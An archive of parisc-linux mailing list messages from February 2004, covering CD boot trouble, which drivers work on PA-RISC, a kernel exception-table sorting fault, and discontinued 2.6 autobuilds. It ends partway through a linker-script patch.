Original-X-From: soete.joel@tiscali.be  Wed Feb  4 01:51:09 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A49654840; Wed,  4 Feb 2004 01:51:08 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AoIiN-0004I4-00; Wed, 04 Feb 2004 09:48:55 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 4 Feb 2004 09:48:55 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 08:51:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20776

Hi Asif,

>All wat i did was clik on the image and found that thae filw system in the
Cd
> is CDFS ..

It seems to me normal as far as we have to make cd bootable which is iirc
not purely iso std ;)

>Wat should be the file syslem of the CD ! I
guess ISO rite

Doesn't matter as far as you have to burn a raw image; it should also works
with
a raw image build with more then excellent Ignite to build a custom hpux
install cd ;)

hth,
   joel



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UNable to boot the cd.
Date: Wed, 4 Feb 2004 14:45:03 +0530
Lines: 57
Approved: news@gmane.org
Message-ID: <8BF7471D09AA9B4190A9C96778BC2A1748D23C@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623174 5393 80.91.229.3 (22 Nov 2014 02:26:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: asifayaz@hp.com  Wed Feb  4 02:15:59 2004
Return-Path: <asifayaz@hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com
	[161.114.64.103]) by dsl2.external.hp.com (Postfix) with ESMTP
	id A86B748CD; Wed,  4 Feb 2004 02:15:59 -0700 (MST)
Original-Received: from sgpexg12.asiapacific.cpqcorp.net
	(sgpexg12.asiapacific.cpqcorp.net [16.149.1.59])
	by zmamail03.zma.compaq.com (Postfix) with ESMTP
	id 047E2111A2; Wed,  4 Feb 2004 04:15:39 -0500 (EST)
Original-Received: from qcaexc02.asiapacific.cpqcorp.net ([16.180.237.27]) by
	sgpexg12.asiapacific.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.0); 
	Wed, 4 Feb 2004 17:15:04 +0800
X-MIMEOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] UNable to boot the cd.
Thread-Index: AcPq/BL4pzULBslQTa2IPsYFabNjIQAAQwQw
X-OriginalArrivalTime: 04 Feb 2004 09:15:04.0965 (UTC)
	FILETIME=[604BDB50:01C3EAFF]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 09:16:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20777

Hi jeol=20
I was right , as per the listings inthe  forum !=20
When I try to search - the cd's doesnt get  seacrched as ipl device!=20
Secondly when i boot from the Main muenu all i get message is=20
Booting from device=20
not ready....
=20

But the same device  works fine with HPUX OS cd..=20

Any Help !!=20


Asif=20

-----Original Message-----
From: Joel Soete [mailto:soete.joel@tiscali.be]
Sent: Wednesday, February 04, 2004 2:19 PM
To: AYAZ, MOHAMMED ASIF; Grant Grundler
Cc: parisc-linux@parisc-linux.org
Subject: RE: [parisc-linux] UNable to boot the cd.


Hi Asif,

>All wat i did was clik on the image and found that thae filw system in =
the
Cd
> is CDFS ..

It seems to me normal as far as we have to make cd bootable which is =
iirc
not purely iso std ;)

>Wat should be the file syslem of the CD ! I
guess ISO rite

Doesn't matter as far as you have to burn a raw image; it should also =
works
with
a raw image build with more then excellent Ignite to build a custom hpux
install cd ;)

hth,
   joel



-------------------------------------------------------------------------=

Tiscali ADSL: 12 mois =E0 29,50 EUR/mois! L'Internet rapide, c'est pour =
tout
le monde.
http://reg.tiscali.be/default.asp?lg=3Dfr




From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel driver/feature support
Date: Wed, 4 Feb 2004 11:35:40 +0000 (GMT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402041109580.8086@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623174 5397 80.91.229.3 (22 Nov 2014 02:26:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: xam@cs.ucc.ie  Wed Feb  4 04:35:42 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 470784840
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Feb 2004 04:35:42 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i14BZftY024660
	for <parisc-linux@lists.parisc-linux.org>; Wed, 4 Feb 2004 11:35:41 GMT
X-X-Sender: xam@sal.ucc.ie
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 11:35:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20778

Hi,

I was just wondering what drivers (hardware drivers, networking options,
filesystems etc.) are actually usable in Linux/PA-RISC.
It would be interesting to know whether there are some drivers
that are not working correctly on PA-RISC (apart from the obvious ones).

So far I successfully tested (and used extensively) the following
drivers on my C240 and C3k using a 32bit kernel (and linux-2.4.24):

- SMBfs
- Autofs (v4)
- IP tunneling
- IPv6
- netfilter (iptables) and netfilter6 (ip6tables)
- Bridging
- QoS
- Traffic Shaping
- OHCI (with internal USB bus, and 5 port USB-2.0 card)
- RealTek RTL-8139 PCI Fast Ethernet (8139too)
- IBM Olympic Token Ring PCI (olympic)

Third party:
- hostap (Netgear MA311 Prism2.5 PCI card, works great, also hostapd)



Drivers that didn't work (or not of good quality):
===============
- Hermes Prism2.5 PCI (hermes, works somewhat, but flaky connection)
- EHCI (loads, but can't use a USB-2.0 HiSpeed or FullSpeed capable device,
  but using OHCI driver instead is successful)


I'd be interested if somebody else has success (or failure) reports of
drivers/fs not listed here, and reports from what's working with 2.6
(since I can't test it here)

Greetings,
  Max


From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UNable to boot the cd.
Date: Wed, 4 Feb 2004 12:47:15 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <400CB8A10000C95A@ocpmta3.freegates.net>
References: <8BF7471D09AA9B4190A9C96778BC2A1748D23C@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623174 5400 80.91.229.3 (22 Nov 2014 02:26:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Wed Feb  4 04:47:43 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DEE7B4840; Wed,  4 Feb 2004 04:47:42 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AoLUz-0005Ho-00; Wed, 04 Feb 2004 12:47:17 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 4 Feb 2004 12:47:15 +0100
In-Reply-To: <8BF7471D09AA9B4190A9C96778BC2A1748D23C@qcaexc02.asiapacific.cpqcorp.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 11:47:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20779

Hi Asif,

>I was right , as per the listings inthe  forum ! 
>When I try to search - the cd's doesnt get  seacrched as ipl device! 
>Secondly when i boot from the Main muenu all i get message is 
>Booting from device not ready....
 

>But the same device  works fine with HPUX OS cd.. 

For me that exclude cdrom driver pb ;)

And seems also that CD Creator can also write raw image by this method (I
have unfortunately no experience with this tool but I can check if cdrecord
exits for NT systems?).
So the last pb I can see is a pb of image corruption (during file transfer):

could you check the md5sum of your file
(if you don't have other linux box to do, on your XP you could install it
eg. with cygwin tools with <http://sources.redhat.com/cygwin/setup.exe> ;)


Cheers,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Kernel driver/feature support
Date: Wed, 4 Feb 2004 14:39:58 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <400CB8A10000CC1F@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623175 5404 80.91.229.3 (22 Nov 2014 02:26:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:15 +0000 (UTC)
To: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Wed Feb  4 06:40:31 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A37F4840
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Feb 2004 06:40:31 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AoNG2-00014d-00; Wed, 04 Feb 2004 14:39:58 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 4 Feb 2004 14:39:58 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 13:40:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20780

Hi Max,

>I'd be interested if somebody else has success (or failure) reports of
>drivers/fs not listed here, and reports from what's working with 2.6
>(since I can't test it here)

what was also working for me (I tested intensively on 2.4 only, not yet on
2.6):
- lvm (1 and now 2 aka devmapper)
- evms (tested till 1.2)
- jfs (tested till 1.0.23)
- xfs (tested till some cvs a bit outdated of Oct 2002 :( )
- ppp (still operational over a simple pstn and a 38000 bauds modem :) )

what failled to me:
- a hp 8port serial mux (afaik an Equinox product) even though that actualy
works fine plug in a hp i386 (and used as some kind console concentrator
for parisc boxes :) )
- an aty graphic card (in fact I don't know the actual status of this card,
should be broken :( )
- Tachion FC (driver should be re-write according its maintainer)

hth,
    Joel




-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory mapping and sort_extable?
Date: 04 Feb 2004 10:04:52 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <1075907093.1756.1.camel@mulgrave>
References: <20040204094358.GL959@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623175 5405 80.91.229.3 (22 Nov 2014 02:26:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: James.Bottomley@SteelEye.com  Wed Feb  4 08:05:05 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C61048A2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Feb 2004 08:05:05 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i14F51a28295; Wed, 4 Feb 2004 10:05:01 -0500
In-Reply-To: <20040204094358.GL959@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 15:05:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20781

On Wed, 2004-02-04 at 04:43, Randolph Chung wrote:
> 2.6.2-rc2 doesn't boot on my c3k when running 32-bit kernel and if
> CONFIG_STI_CONSOLE is not enabled. The problem seems to be that for some
> reason [*] when CONFIG_STI_CONSOLE is not defined, we map all kernel
> memory as r/o, so when sort_extable (in lib/extable.c) tries to
> rearrange our exception tables it writes to the kernel pages and faults.
> 
> interestingly, when building a 64-bit kernel with similar config options
> i don't see a fault... maybe there is something else happening there.
> 
>  From a cursory inspection, it appears that we never use to sort our
> exception tables; dumping the extable from a vmlinux binary shows that
> the entries are properly sorted at link time... but i haven't tried 
> this on modules to see if they are also sorted. Not sure how the 
> sorting is happening...  does ld do it?
> 
> Anyway, the following patch trivially removes sort_extable for parisc
> and lets the kernel boot. Not yet sure if it's correct. Does anyone
> know?
> 
> [*] Why do we map kernel pages as read-only? is it just to be "extra
> safe"?

Let me have a look at this.  It sounds like a section naming issue that
differs on 32/64 bit.

Of course, you guessed that I'd only tested on a 64 bit kernel...

We need the sort extable because the generic search function (which we
now use) expects a sorted table to simplify address searches, so going
back to an unsorted one may produce unexpected results...

James




From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.6 autobuilds discontinued
Date: Wed, 04 Feb 2004 11:20:35 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040204182036.B9F9973819@fc.hp.com>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623175 5407 80.91.229.3 (22 Nov 2014 02:26:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bame@hp.com  Wed Feb  4 11:20:37 2004
Return-Path: <bame@hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88D504840
	for <parisc-linux@parisc-linux.org>;
	Wed,  4 Feb 2004 11:20:37 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel8.hp.com (Postfix) with ESMTP id 52C811C0232E
	for <parisc-linux@parisc-linux.org>;
	Wed,  4 Feb 2004 13:20:37 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 01D0C38637
	for <parisc-linux@parisc-linux.org>;
	Wed,  4 Feb 2004 11:20:37 -0700 (MST)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id D4FBE1340A0
	for <parisc-linux@parisc-linux.org>;
	Wed,  4 Feb 2004 11:20:36 -0700 (MST)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id B9F9973819; Wed,  4 Feb 2004 11:20:36 -0700 (MST)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP id B5F2B62ADD
	for <parisc-linux@parisc-linux.org>;
	Wed,  4 Feb 2004 11:20:36 -0700 (MST)
Errors-To: bame@hp.com
Original-Sender: bame@hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 18:20:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20782


Kernel autobuilds for 2.6 at http://cvs.parisc-linux.org/download/linux-2.6/
have been discontinued.  Patch creation will continue as usual.

I've never been able to build 64-bit kernels and now can't build
32-bit ones either since the kernel demands a newer tool chain than is
available for woody and we need that box to stay "stable".  If someone
has appropriate woody tool chain debs I'll be happy to re-start
those builds!

	-P


From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6 autobuilds discontinued
Date: 04 Feb 2004 13:56:21 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1075920982.1756.99.camel@mulgrave>
References: <20040204182036.B9F9973819@fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623176 5414 80.91.229.3 (22 Nov 2014 02:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:16 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: bame@hp.com
Original-X-From: James.Bottomley@SteelEye.com  Wed Feb  4 11:56:30 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE9FE4855
	for <parisc-linux@parisc-linux.org>;
	Wed,  4 Feb 2004 11:56:29 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i14IuTa09321; Wed, 4 Feb 2004 13:56:29 -0500
In-Reply-To: <20040204182036.B9F9973819@fc.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 04 Feb 2004 18:56:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20783

On Wed, 2004-02-04 at 13:20, bame@hp.com wrote:
> Kernel autobuilds for 2.6 at http://cvs.parisc-linux.org/download/linux-2.6/
> have been discontinued.  Patch creation will continue as usual.
> 
> I've never been able to build 64-bit kernels and now can't build
> 32-bit ones either since the kernel demands a newer tool chain than is
> available for woody and we need that box to stay "stable".  If someone
> has appropriate woody tool chain debs I'll be happy to re-start
> those builds!

This was a problem with debugging code being accidentally left in the
Makefile.  The builds should run again on woody, if you want to restart
them.

James




From - Thu Nov 08 21:30:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 5 Feb 2004 01:20:28 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <20040205092028.GM959@tausq.org>
References: <20040204182455.1CC11494191@palinux.hppa>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623176 5415 80.91.229.3 (22 Nov 2014 02:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: randolph@tausq.org  Wed Feb  4 23:48:17 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69FE04840
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Feb 2004 23:48:17 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 844CACD28A; Thu,  5 Feb 2004 01:20:28 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20040204182455.1CC11494191@palinux.hppa>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Feb 2004 06:48:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20784

> Modified files:
> 	arch/parisc/kernel: vmlinux.lds.S 
> 	include/asm-parisc: uaccess.h 
> 
> Log message:
> Make the exception table writeable (so it can actually be sorted)
> and discard the interpreter section

jejb, this doesn't work for me..... in arch/parisc/mm/init.c we mark
everything from _stext to data_start as read-only, so i think we need
something like this:

Index: arch/parisc/kernel/vmlinux.lds.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/vmlinux.lds.S,v
retrieving revision 1.6
diff -u -p -r1.6 vmlinux.lds.S
--- arch/parisc/kernel/vmlinux.lds.S    4 Feb 2004 18:24:55 -0000       1.6
